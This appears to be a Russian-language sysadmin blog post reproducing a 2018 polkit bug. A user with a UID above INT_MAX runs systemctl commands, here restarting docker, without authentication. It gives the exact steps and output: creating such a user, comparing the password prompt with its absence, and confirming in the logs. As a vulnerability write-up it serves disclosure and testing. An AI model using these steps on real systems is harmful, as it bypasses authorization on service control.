Linux: “unprivileged users with UID > INT_MAX can successfully execute any systemctl command”

Автор: | 06/12/2018

Интересная бага сегодня была опубликована в Twitter и Github.

Кратко – если у пользователя UID больше, чем INT_MAX в системе – он может выполнять любые операции systemctl.

Справдливости ради – это бага не у systemd, а у polkit.

Проверям значение INT_MAX:

[simterm]

$ cat /usr/include/limits.h | grep INT_MAX
#  define INT_MIN       (-INT_MAX - 1)
#  define INT_MAX       2147483647
#  define UINT_MAX      4294967295U

[/simterm]

Добавлям пользователя с +1 к 2147483647:

[simterm]

$ sudo useradd --uid 2147483648 test

[/simterm]

Проверяем:

[simterm]

$ id test
uid=2147483648(test) gid=1001(test) groups=1001(test)

[/simterm]

Находим что-нибудь для ребута:

[simterm]

14:08:36 [setevoy@setevoy-arch-work ~] $ systemctl list-unit-files | grep enabled
[email protected]                                                  enabled        
docker.service                                                   enabled        
[email protected]                                                   enabled        
netctl@setevoy\x2dgen\x2d5.service                               enabled        
sshd.service                                                     enabled        
systemd-fsck-root.service                                        enabled-runtime
systemd-timesyncd.service                                        enabled        
remote-fs.target                                                 enabled

[/simterm]

Пробуем под нормальным пользователем:

[simterm]

14:08:47 [setevoy@setevoy-arch-work ~] $ systemctl restart docker
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ====
Authentication is required to restart 'docker.service'.
Authenticating as: setevoy
Password: 
==== AUTHENTICATION COMPLETE ====

[/simterm]

ОК – авторизацию запрашивает.

Переключаемся под созданного пользователя:

[simterm]

# su -l test
su: warning: cannot change directory to /home/test: No such file or directory
[test@setevoy-arch-work ~]$

[/simterm]

Запускаем рестарт докера:

[simterm]

[test@setevoy-arch-work ~]$ systemctl restart docker

(pkttyagent:3853): GLib-GObject-WARNING **: 14:08:17.570: value "-2147483648" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

[/simterm]

Проверяем логи:

[simterm]

$ journalctl -f -u docker
...
Dec 06 14:11:09 setevoy-arch-work systemd[1]: Stopped Docker Application Container Engine.                                                                                                                                                    
Dec 06 14:11:09 setevoy-arch-work systemd[1]: Starting Docker Application Container Engine...   
...

[/simterm]

Работает.